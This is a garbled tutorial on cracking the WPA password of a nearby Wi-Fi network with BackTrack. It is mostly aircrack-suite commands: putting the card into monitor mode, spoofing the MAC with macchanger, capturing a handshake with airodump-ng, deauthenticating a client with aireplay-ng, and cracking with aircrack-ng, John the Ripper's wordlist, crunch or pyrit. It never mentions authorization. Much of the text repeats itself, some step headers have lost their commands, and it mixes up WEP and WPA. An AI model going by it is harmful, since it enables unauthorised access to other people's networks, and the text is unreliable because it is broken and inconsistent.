Rules to Follow
- A Backtrack Live CD: the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started.
- here a link to download it http://www.backtrack-linux.org/downloads/
- A nearby WEP-enabled Wi-Fi network
- Patience with the command line. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.
Steps to Follow:
Step
1 :
The result will be something like :
Step 2 :
Step 3 (Optional) :
Change the mac address of the mon0 interface.
Step 4 :
Then, press "
Step 5 :
*where -c is the channel
-w is the file to be written
--bssid is the BSSID
This terminal is keeping running.
Step 6 :
open another terminal.
*where -a is the BSSID
-c is the client MAC address (STATION)
Wait for the handshake.
Step 7 :
Use the John the Ripper as word list to crack the WPA/WP2 password.
Step 8 (Optional) :ITS AN OPTIONAL STEP,,,,,,
If you do not want to use John the Ripper as word list, you can use Crunch.
Go to the official site of crunch.
Download crunch 3.0 (the current version at the time of this writing).
*where
(B) nVidia Display Card with CUDA
If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.
Step a :
The result will be something like :
Step b :
Step c (Optional) :
Change the mac address of the mon0 interface.
Step d :
Then, press "
Step e :
Step f :
open another terminal.
*where -a is the BSSID
-c is the client MAC address (STATION)
Wait for the handshake.
Step g :
If the following programs are not yet installed, please do it.
Step h :
Go to the official site of crunch.
Download
Step i :
Go to the official site of pyrit.
Download
Step j :
*where
Step k (Optional) :
If you encounter error when reading the
*where
Step l :
Then, you will see something similar to the following.
Remarks :
If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.
To test if your wireless card (either USB or PCI-e) can do the injection or not :
Open another terminal.
airmon-ng
The result will be something like :
Interface Chipset Driver
wlan0 Intel
5100 iwlagn - [phy0]
Step 2 :
airmon-ng start wlan0
Step 3 (Optional) :
Change the mac address of the mon0 interface.
ifconfig mon0 down
macchanger
-m 00:11:22:33:44:55 mon0
ifconfig
mon0 up
Step 4 :
airodump-ng mon0
Then, press "
Ctrl+c
" to break the program.Step 5 :
airodump-ng -c 3 -w wpacrack --bssid
ff:ff:ff:ff:ff:ff --ivs mon0
*where -c is the channel
-w is the file to be written
--bssid is the BSSID
This terminal is keeping running.
Step 6 :
open another terminal.
aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c
99:88:77:66:55:44 mon0
*where -a is the BSSID
-c is the client MAC address (STATION)
Wait for the handshake.
Step 7 :
Use the John the Ripper as word list to crack the WPA/WP2 password.
aircrack-ng -w
/pentest/passwords/john/password.lst wpacrack-01.ivs
Step 8 (Optional) :ITS AN OPTIONAL STEP,,,,,,
If you do not want to use John the Ripper as word list, you can use Crunch.
